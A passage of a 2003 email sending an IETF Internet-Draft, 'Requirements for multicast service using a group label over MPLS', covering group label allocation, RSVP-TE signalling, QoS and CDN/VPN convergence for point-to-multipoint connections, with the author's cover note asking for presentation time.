mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>identifies</span>
functional and performance capabilities required to =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>allocate</span> a
group label in master-slave network and peer to peer =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>network</span>, which
facilitates efficient and reliable group communication =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span class=3DGramE>and</span> =
Quality of
Service(QoS) in MPLS domain. It also identifies =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>functional</span>
capabilities required to implement convergence services =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>related</span> to
Content Distribution Network(CDN) and Virtual Private =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>Network(</span>VPN).
These capabilities can be used to provide high quality =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp;</span><span
style=3D'mso-spacerun:yes'>&nbsp;</span><span class=3DGramE>and</span> =
scalable
service. <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>This document includes the =
allocation
mechanism of a group label in <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>order</span> to
perform unidirectional P2MP communication.<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><o:p>&nbsp;</o:p></span>=
</font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Your feedback will be =
very
much appreciated.<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><o:p>&nbsp;</o:p></span>=
</font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Could you give me 10 =
min to
make a presentation?<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;text-indent:5.0pt;
mso-char-indent-count:.5;mso-pagination:widow-orphan;layout-grid-mode:cha=
r;
word-break:keep-all'><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-bidi-font-family:
Gulim;mso-font-kerning:0pt'><br>
Thanks.&nbsp; <br>
&nbsp;<br>
Min <span class=3DSpellE>Suk</span> Sung</span></font><font =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;font-family:Gulim;mso-hansi-font-famil=
y:
Arial;mso-bidi-font-family:Arial'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-hansi-font-family:
Arial;mso-bidi-font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-hansi-font-family:
Arial;mso-bidi-font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Min=
 Suk
Sung (<a =
href=3D"mailto:mssung@icu.ac.kr">mssung@icu.ac.kr</a>)</span><span
lang=3DEN-US style=3D'mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Bro=
adband
Network Laboratory (<a =
href=3D"http://bnlab.icu.ac.kr/">http://bnlab.icu.ac.kr/</a>)<br>
Information and </span></font><st1:place><st1:PlaceName><span =
lang=3DEN-US
  =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Communications</span=
></st1:PlaceName><span
 lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'> =
</span><st1:PlaceType><span
  lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>University</span></s=
t1:PlaceType></st1:place><span
lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>(ICU)<br>
58-4 Hwa-Ahm Dong, Yusong Gu, </span><st1:place><st1:City><span =
lang=3DEN-US
  =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Taejon</span></st1:C=
ity><span
 lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>, =
</span><st1:country-region><span
  lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Korea</span></st1:co=
untry-region></st1:place><span
lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'> =
305-732<br>
(Tel) +82-42-866-6104, 016-532-2969</span><span =
lang=3DEN-US><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_001_0002_01C3985E.2F841940--

------=_NextPart_000_0001_01C3985E.2F810C00
Content-Type: text/plain;
	name="draft-choi-mpls-grouplabel-requirement-01.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-choi-mpls-grouplabel-requirement-01.txt"
Content-Transfer-Encoding: quoted-printable

 =20
Internet Draft                                            Jun Kyun Choi
Document: draft-choi-mpls-grouplabel-requirement-01.txt    Min Suk Sung
Expiration Date: April 2004                                         ICU
                                                           Sun Hee Yang
                                                         Hyoung Jun Kim
                                                           Jae Hoon Yoo
                                                          Hyeong Ho Lee=20
                                                                   ETRI
                                                          November 2003
  =20
  =20
    Requirements for multicast service using a group label over MPLS=20
  =20
  =20
  Status of this Memo=20
  =20
  This document is an Internet-Draft and is in full conformance with=20
  all provisions of Section 10 of RFC-2026. =20
  =20
  Internet-Drafts are working documents of the Internet Engineering=20
  Task Force (IETF), its areas, and its working groups. Note that other=20
  groups may also distribute working documents as Internet-Drafts. =20
  =20
  Internet-Drafts are draft documents valid for a maximum of six months=20
  and may be updated, replaced, or obsolete by other documents at any=20
  time. It is inappropriate to use Internet- Drafts as reference=20
  material or to cite them other than as "work in progress." =20
  =20
  The list of current Internet-Drafts can be accessed at=20
  http://www.ietf.org/ietf/1id-abstracts.txt =20
  =20
  The list of Internet-Draft Shadow Directories can be accessed at=20
  http://www.ietf.org/shadow.html.=20
  =20
  =20
  Abstract=20
  =20
  As the group communication becomes more important, the special label=20
  should be allocated in support of group management and maintenance.=20
  The allocation mechanism of a group label can be applied to a point-
  to-multipoint(P2MP) communication in MPLS networks. Currently used=20
  label is locally significant, while this group label should be common=20
  object within a single MPLS domain.=20
  This document presents a set of requirements for multicast service=20
  using a group label over Multiprotocol Label Switching(MPLS). It=20
  identifies functional and performance capabilities required to=20
  allocate a group label in master-slave network and peer to peer=20
  network, which facilitates efficient and reliable group communication=20
  and Quality of Service(QoS) in MPLS domain. It also identifies=20
  functional capabilities required to implement convergence services=20
  related to Content Distribution Network(CDN) and Virtual Private=20
=20
=20
Choi, et. al.                                                [Page  1]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  Network(VPN). These capabilities can be used to provide high quality=20
  and scalable service.=20
  This document includes the allocation mechanism of a group label in=20
  order to perform unidirectional P2MP communication.=20
  =20
  =20
  0. Comparison with "draft-yasukawa-mpls-p2mp-requirement-00.txt"=20
  =20
  (This section is to be removed before publication.)=20
  =20
  0.1  this document=20
  =20
  We propose a group label which is globally unique within a single=20
  MPLS domain and then provide multicast service using a group label.=20
  This document presents a set of requirement for multicast service=20
  using a group label over MPLS and then identifies allocation=20
  mechanism of a group label to perform unidirectional point to=20
  multipoint(P2MP) connection. In comparison with 'draft-choi-mpls-
  grouplable-requirement-00.txt' document, we add the requirement of
  CDS/VPN convergence network to this document.
  =20
  0.2  draft-yasukawa-mpls-p2mp-requirement-00.txt=20
  =20
  This document presents a set of requirement for P2MP capability=20
  extension to Multiprotocol Label Switching(MPLS). The functional and=20
  performance extensions about Content Distribution Network(CDN) and=20
  CDN/VoIP/VPN service convergence network are described.=20
  =20
  0.3  differences=20
  =20
  our draft considers multicast service using a group label in two=20
  kinds of network. One is master-slave network. The other is peer to=20
  peer network. Requirements, allocation mechanism of a group label and=20
  service type can be dealt with each network topology.=20
  On the other hand, yasukawa=92s draft refers to a set of CDN service=20
  and other service convergence network. Then, P2MP extensions which=20
  are required to these services are identified.=20
  =20
  Conventions=20
  =20
  The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",=20
  "SHOULD", "SHOULD NOT", "RECOMMENDED",  "MAY", and "OPTIONAL" in this=20
  document are to be interpreted as described in RFC-2119.=20
  =20
  =20
  =20
  =20
  =20
  =20
  =20
  =20
  =20
=20
=20
Choi, et. al.                                                [Page  2]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  Table of Contents=20
  =20
  1. Introduction.....................................................4=20
  2. Definition.......................................................4=20
  2.1 Group Label.....................................................4=20
  2.2 Group Communication based on Client-Server Model................5=20
  2.3 Group Communication based on Peer Model.........................5=20
  3. Requirements for Multicast Service using a Group Label...........5=20
  3.1 Master-Slave Network............................................5=20
  3.1.1 Group Label distribution......................................5=20
  3.1.2 Group Label Management........................................6=20
  3.1.3 Designing the position of master node.........................6=20
  3.1.4 QoS Control for P2MP Communication using a Group Label........7=20
  3.1.5 Traffic Engineering for P2MP connection using a Group Label...7=20
  3.1.6 IPv4 / IPv6 support...........................................7=20
  3.1.7 Interoperability between P2P and P2MP connection..............7=20
  3.2 Peer to Peer Network............................................7=20
  3.2.1 Group Label distribution......................................8=20
  3.2.2 Group Label Management........................................8=20
  3.2.3 Scalability...................................................8=20
  4. Requirements for service convergence network.....................9=20
  4.1 Service Type....................................................9=20
  4.2 CDS/VPN service convergence network............................10=20
  4.2.1 Multicast routing information mechanism......................10=20
  4.2.2 Tunneling mechanism..........................................10=20
  4.2.3 Security support.............................................11=20
  5. Communication Mechanism for Multicast Service...................11=20
  5.1 Procedures for setting up Unidirectional P2MP Communication....11=20
  5.2 Joining Mechanism..............................................12=20
  5.3 Leaving Mechanism..............................................13=20
  6. Extended Format for Multicast Service...........................13=20
  6.1 Required Message...............................................13=20
  6.1.1 Path Message.................................................14=20
  6.1.2 Resv Message.................................................14=20
  6.2 Extended Object................................................15=20
  6.2.1 Hello object for Group Management............................15=20
  6.2.2 Group Label Object...........................................15=20
  6.2.3 Group Label Request Object...................................16=20
  Security Considerations............................................16=20
  References.........................................................16=20
  Author's Address...................................................18=20
  =20
=20
=20
Choi, et. al.                                                [Page  3]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
1. Introduction=20
  =20
  It is increasingly important to guarantee real-time application=20
  requiring more strict QoS and higher bandwidth such as Internet=20
  broadcasting, video conferencing and real-time delivery services,=20
  therefore the group communication will become very useful for these=20
  purposes. The special label should be allocated in support of group=20
  management and maintenance. The allocation mechanism of group label=20
  can be applied to a point to multipoint(P2MP) communication.=20
  =20
  In existing MPLS technology, label switching is done so that fast and=20
  simple forwarding can be performed and this label is local=20
  significant.=20
  In order to facilitate group communication, a group label which is=20
  globally unique within a single MPLS domain should be supported. This=20
  label can distinguish each P2MP LSP when a edge node joins several=20
  P2MP connections.=20
  =20
  This multicast service using a group label can be applied Layer 2=20
  Virtual Private Network(L2VPN). The group label is the same role as=20
  VPN ID. Therefore, a single VPN can be communicated with other VPNs=20
  within P2MP connection using a group label.=20
  A group label is allocated using Resource Reservation Protocol-
  Traffic Engineering(RSVP-TE). Appropriate admission control should be=20
  done according to requested QoS degree. =20
  In case of multicast or broadcast traffic type, branch node should=20
  perform replication function for path message and merging function=20
  for resv message.=20
  Using QoS mechanism such as Differentiated Service(DiffServ), we can=20
  provide prioritized service. Billing mechanism also can be applied. =20
  =20
  This document presents a set of requirements for multicast service=20
  using a group label over Multiprotocol Label Switching(MPLS). It=20
  identifies functional and performance capabilities required to=20
  allocate a group label in master-slave network and peer to peer=20
  network, which facilitates efficient and reliable group communication=20
  and Quality of Service(QoS)in MPLS domain. It also identifies=20
  functional capabilities required to implement convergence services=20
  related to Content Distribution Network(CDN) and Virtual Private=20
  Network(VPN). This document includes the allocation mechanism of a=20
  group label in order to perform unidirectional P2MP communication.=20
  =20
2. Definition=20
  =20
2.1 Group Label=20
  =20
  A group label is a common object to establish and maintain the P2MP=20
  connection and globally unique within a single MPLS domain.=20
  =20
=20
=20
Choi, et. al.                                                [Page  4]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  The allocation mechanism of a group label is done in two kinds of=20
  network using RSVP-TE signaling protocol. One is server-client based=20
  network and the other is peer to peer based network.=20
  =20
2.2 Group Communication based on Client-Server Model=20
  =20
  A single Server is equipped with the concept of multipoint control=20
  unit (MCU) which can enable two or more receivers to intercommunicate=20
  with a single sender like conferencing. So, the P2MP connection can=20
  be established using a single server locally. This server has two=20
  functions; one is a replication function for Path message with group=20
  label request object and the other is a merging function for Resv=20
  message with group label. =20
  =20
  It is totally reliable and robust to establish this communication=20
  because a server manages the traffic engineered explicit routes to=20
  avoid link failure before forwarding a Path message from a sender.=20
  =20
2.3 Group Communication based on Peer Model=20
  =20
  This model doesn=92t need any server and hello message for group=20
  management because a LSR which wants to establish P2MP connection can=20
  directly send Path message containing group label request to all of=20
  the LSRs within a MPLS domain. A LSR which sends Path message =
doesn=92t=20
  know who will receive. All of the LSRs which received Path message=20
  determine whether to join a P2MP connection. If they accept the=20
  request, they send Resv message with group label. Otherwise, they=20
  ignore the request. After receiving Resv messages from LSRs, the P2MP=20
  connection between a single sender and multiple receivers can be=20
  established within a MPLS domain. The common group label should be=20
  used in this communication. =20
  =20
  In peer model, there are much smaller overhead for messages and=20
  maintaining a server with a huge database. On the other hand, the=20
  failing possibility to establish a P2MP connection is much higher=20
  than the client-server model, since a server which chooses traffic=20
  engineered explicit route between a sender and receivers doesn't=20
  exist.=20
  =20
3. Requirements for Multicast Service using a Group Label =20
=20
3.1 Master-Slave Network=20
=20
3.1.1 Group Label distribution=20
=20
  Using RSVP-TE signaling protocol for allocating a group label,=20
  messages of RSVP-TE can be distributed differently according to the=20
  incoming traffic type toward master. In case of unicast traffic, Path=20
  message is distributed through the route so that a group label can be=20
  assigned to each LSR of the route in point to point(P2P) connection.=20
  In multicast or broadcast traffic, master should be capable of=20
=20
=20
Choi, et. al.                                                [Page  5]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  replicate Path message the same as the number of receiver. A master=20
  also should have merging function to forward RSVP message from=20
  multiple receivers toward a single sender.=20
  =20
  P2MP connection has different dynamics compared with P2P connection=20
  because the topology of receivers is changed frequently. A group=20
  label is required to distinguish each P2MP connection=20
  =20
  O Joining Mechanism=20
  =20
  Master can have both all P2MP connection and corresponding group=20
  label information. A receiver can dynamically request to join a=20
  certain P2MP communication. If the joining request of new node is=20
  traffic-negotiable, master assigns the group label which is exactly=20
  matched to requested P2MP communication. Otherwise, that request must=20
  be rejected.=20
  =20
  Each master of the P2MP connection is required to check the residual=20
  resource and traffic parameter such as delay, loss, etc.=20
  =20
  O Leaving Mechanism=20
  =20
  In case the already joined node wants to leave in the P2MP session=20
  with the group label of certain QoS level, that node can request to=20
  the master. Then, the explicit route of the receiver is torn down. =20
  =20
  Since the process of joining or leaving is dynamically performed, a=20
  master should periodically check the correct and updated information.=20
  =20
3.1.2 Group Label Management=20
  =20
  After establishing a P2MP connection, a common group label is=20
  assigned to all the LSRs within the P2MP connection. A master should=20
  have the topology information of established P2MP connection and=20
  mapped group label information. Besides, whenever adding or removing=20
  a leaf node, master should have correct updated information. =20
  =20
  In customer's place, satisfactory service can be provided because of=20
  distributing a group label in advance. Therefore, service=20
  verification is easily done through group label management.=20
  =20
3.1.3 Designing the position of master node =20
  =20
  P2MP capability can largely improve the effective usage of network=20
  resources such as bandwidth and link utilization. Therefore, the=20
  calculation of master's location as a branch node is automatically or=20
  administratively required to be done in order to place at optimal=20
  position. =20
  =20
  It also is required to use information related to underlying protocol=20
  such as IGP traffic engineering extension or offline management tool.  =

=20
=20
Choi, et. al.                                                [Page  6]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
3.1.4 QoS Control for P2MP Communication using a Group Label=20
  =20
  A common group label is assigned to each P2MP communication. The=20
  group label is required to identify each P2MP connection as well as=20
  control QoS level regarding bandwidth, delay, loss and other=20
  performance parameters.=20
  =20
  Therefore, QoS control by a group label should support QoS or Class=20
  of Service(CoS) such as Expedited Forwarding(EF), Assured=20
  Forwarding(AF) and Default(Best Effort) style of differentiated=20
  service.=20
  =20
3.1.5 Traffic Engineering for P2MP connection using a Group Label=20
  =20
  Because of frequent changes of topology in joining or leaving leaf=20
  nodes, traffic engineering including fault location detection and=20
  fault recovery should be considered as a important function. In case=20
  link failure occurs in P2MP connection using a group label, the=20
  information related to failure is promptly advertised to a master and=20
  rerouting function should be performed. At that time, rerouted=20
  explicit route is done according to administrative policy. The most=20
  important requirements on the rerouting process is to avoid traffic=20
  disruption. =20
  =20
  Therefore, the concept of make-before-break is strongly recommended.=20
  This shares resources in the common part where both old P2MP and new=20
  P2MP connection exist. After breaking down old P2MP connection, =20
  the used traffic and resources is switched to new P2MP connection so=20
  that rerouting can be successfully done.=20
  =20
  In P2MP topology, a single common rerouting mechanism is required=20
  because multiple paths can be rerouted at once.=20
  =20
3.1.6 IPv4 / IPv6 support=20
  =20
  This extension must support both IP4/IPv6 transmissions=20
  =20
3.1.7 Interoperability between P2P and P2MP connection=20
  =20
  According to incoming traffic type toward sender, a master should use=20
  ether P2P or P2MP efficiently. It also should be supported that=20
  multiple P2P connection are aggregated to establish P2MP.=20
  =20
  In case a P2P connection is needed over already established P2MP=20
  connection using a group label, group label space should be shared=20
  between P2P and P2MP connection. Link resource is also required to be=20
  shared between P2P and P2MP connection.=20
  =20
  =20
3.2 Peer to Peer Network=20
=20
=20
Choi, et. al.                                                [Page  7]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
3.2.1 Group Label distribution=20
=20
  Using RSVP-TE signaling protocol for allocating a group label, All=20
  nodes should distribute Path messages to every nodes within a single=20
  MPLS domain. After receivers check whether requested QoS is=20
  acceptable, receivers sends Resv message to only reasonable nodes. A=20
  node becomes a sender and a receiver at the same time. Therefore, a=20
  single MPLS network consists of P2MP connection using a group label=20
  in a full mesh topology.=20
  In order to process multicast or broadcast traffic, all nodes within=20
  a single MPLS domain are required to perform replication and merging=20
  function.=20
  All P2MP connections should accommodate P2P as well as P2MP=20
  communication according to customer request.=20
  =20
  O Joining Mechanism=20
  =20
  Since there is not any master in a P2MP connection, all nodes can=20
  directly join at any time, however all nodes joining certain P2MP=20
  communication should inform other group members.=20
  Other group members can reject a new request according to residual=20
  resource and traffic parameter such as delay, loss, etc.=20
  =20
  O Leaving Mechanism=20
  =20
  In case the already joined node wants to leave in the P2MP session=20
  with the group label of certain QoS level, that node can notify other=20
  group members and then immediately leave. Then, the explicit route of=20
  the receiver is torn down. =20
  =20
  Since all nodes can perform the process of joining or leaving for=20
  themselves, each node should periodically check the correct and=20
  updated information.=20
  =20
3.2.2 Group Label Management=20
  =20
  All nodes can manage only certain group label which they use. That is, =

  each node is required to have the information of group label which=20
  belongs to itself. For example, the node which attends two kinds of=20
  P2MP communication should manage two different group labels.=20
=20
3.2.3 Scalability=20
  =20
  In this network, joining or leaving process is performed regardless=20
  of the memory size of master. A node easily joins or leaves through=20
  exchanging the information of a group label each other so that this=20
  can be a scalable solution.=20
  =20
  Since unlimited scalability can reduce QoS, appropriate policy is=20
  required.=20
=20
=20
Choi, et. al.                                                [Page  8]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
4. Requirements for service convergence network=20
  =20
4.1 Service Type=20
              =20
  We can classify P2MP service style of master-slave network=20
  environment as a Content Distribution Service(CDS). The=20
  representative services of CDS are Live Video Distribution, Video=20
  Broadcasting, Video-on-Demand service, etc. These services have the=20
  following features. First, they require much higher bandwidth. Second, =

  they should last longer session-on-time. Third, they are very=20
  sensitive to delay. =20
  =20
  O Live video Distribution=20
  =20
  This service is to distribute live video streaming to multiple users=20
  on demand basis. The sports real-time broadcasting or e-learning is a=20
  delegate example of this service.=20
  =20
  The basic operation is as follows. A streaming server per Provider=20
  Edge(PE) node is located and video stream data is transmitted through=20
  this server. Customers who are about to join or leave at certain=20
  session need authentication at first and then are able to join or=20
  leave using session control signaling. Therefore, P2MP connection=20
  using a group label is dynamically created according to the location=20
  of receivers.=20
  =20
  Resource is also dynamically assigned according to receiver request.=20
  When a session is established, a proper resource is assigned and when=20
  the session is over, resource is released. Therefore, efficient and=20
  effective resource management is required.=20
  =20
  O Video Broadcasting Service=20
  =20
  This service is to distribute streaming data to multiple users on=20
  static connection basis. Digital broadcasting is a delegate example. =20
  =20
  The basic operation is as follows. A broadcast streaming server is=20
  located in center and provides services using multicast technology. A=20
  static P2MP connection is established between a sender and multiple=20
  receivers. Therefore, a single static P2MP connection can have=20
  multicast capability.=20
  =20
  In customer's place, customers can choose necessary video channel=20
  from multiple service channels and then enjoy various service. That=20
  is, the service environment which is equipped with high quality,=20
  multiple channels and multiple functions can be realized.=20
  In service provider's place, service providers can easily keep a=20
  number of demands through high quality service of digital=20
  broadcasting. Keeping extra frequency band through multiple channels=20
  is important effect and multiple functions can improve revenue=20
  potentially.=20
=20
=20
Choi, et. al.                                                [Page  9]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
  O Video on Demand Service=20
  =20
  This service is to distribute streaming service to a single receiver=20
  on demand basis.=20
  =20
  The basic operation is as follows. An original VoD streaming server=20
  is located at center and provides services using unicast method. Then, =

  several mirror servers are located at near receivers. In case load=20
  becomes significantly larger at central server, mirror server is=20
  required in order to decentralize the load.=20
  =20
  Therefore, multiple static P2P connections between a sender=20
  accommodating central server and a receiver are established and also=20
  between a sender accommodating mirror server and a receiver.=20
  =20
  This concept decentralizes server load capable of providing services=20
  so that QoS of video traffic can be guaranteed. A central server=20
  checks remaining bandwidth of each P2P connection and enable new node=20
  to join corresponding P2P communication according to requested QoS=20
  whenever incoming requests. Therefore, connection failure can be=20
  occurred frequently because multiple traffic streams can be entered=20
  to a single P2P connection.=20
  =20
  In order to improve transmission quality and reliable operation, fast=20
  reroute mechanism is needed.=20
  =20
4.2 CDS/VPN service convergence network=20
  =20
  This extended capability must be applicable to CDS/VPN service=20
  convergence network. There are several advantages in terms of=20
  integrating CDS and VPN service. First, we can get cost-efficient=20
  about expanding existing network. Second, scalability and mobility=20
  are supported to provide convenient network environment as remote=20
  place, mobile users and telecommuting users increase. Second,=20
  flexible network operation and management can be realized.=20
  =20
4.2.1 Multicast routing information mechanism=20
  =20
  To provide multicast service in the CDS/VPN convergence network, All=20
  Provider Edges(PEs) must exchange the information of P2MP=20
  communication which each PE participates in. the information between=20
  CEs connected to the PE is also require. As each PE gets more than=20
  one VPN, each PE must get forwarding information table to distinguish=20
  the path per interface.=20
  =20
4.2.2 Tunneling mechanism=20
  =20
  P2P or P2MP Tunnel must be established between PEs. A group label is=20
  inserted as a tunnel label at the ingress LER and maintained while=20
=20
=20
Choi, et. al.                                                [Page  10]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  passing a tunnel LSP. Then, this group label is removed at the egress=20
  LSR, while existing MPLS label performs label swapping through LSRs.=20
  =20
4.2.3 Security support=20
  =20
  VPN has possibility of degradation for security and performance in=20
  comparison with dedicated network. To manage P2MP tunnel and policy=20
  of VPN multicast, authentication and security protocol or mechanism=20
  is required such as IPsec, L2TP, PPTP, etc.=20
  =20
5. Communication Mechanism for Multicast Service=20
=20
5.1 Procedures for setting up Unidirectional P2MP Communication=20
  =20
  All of the LSRs within a single MPLS domain can be a sender or=20
  receiver. If a sender node is designated, rest of them becomes=20
  receivers. There exists a server per MPLS domain. The following is=20
  the procedures of setting up unidirectional P2MP communication. =20
  =20
  1. All of the LSRS within a single MPLS domain send hello message to=20
     a server so that the server can register each IP address and=20
     explicit route of each LSR to the NIB. The server has the NIB=20
     including IP address and explicit route. So, the server maintains=20
     the NIB due to periodical transmission of a hello message.=20
  =20
  2. If a single LSR sends the Path message containing group label=20
     request to a server, all of the LSRs except for a sender become=20
     receivers within a MPLS domain.=20
  =20
  3. After choosing explicit routes registered in NIB, the server=20
     copies group label request as the number of chosen explicit route   =
    =20
     and sends the Path message including group label request. =20
  =20
  4. Among nodes receiving the Path message containing group label =20
     requet, the node which is ready to accept the group label request   =
 =20
     and join the P2MP communication allocates group  =20
     label to the Resv message.=20
  =20
  5. The server received several Resv messages containing group label    =

     perform the merging function. Then, the server creates and sends =20
     new Resv message containing group label to a sender.=20
  =20
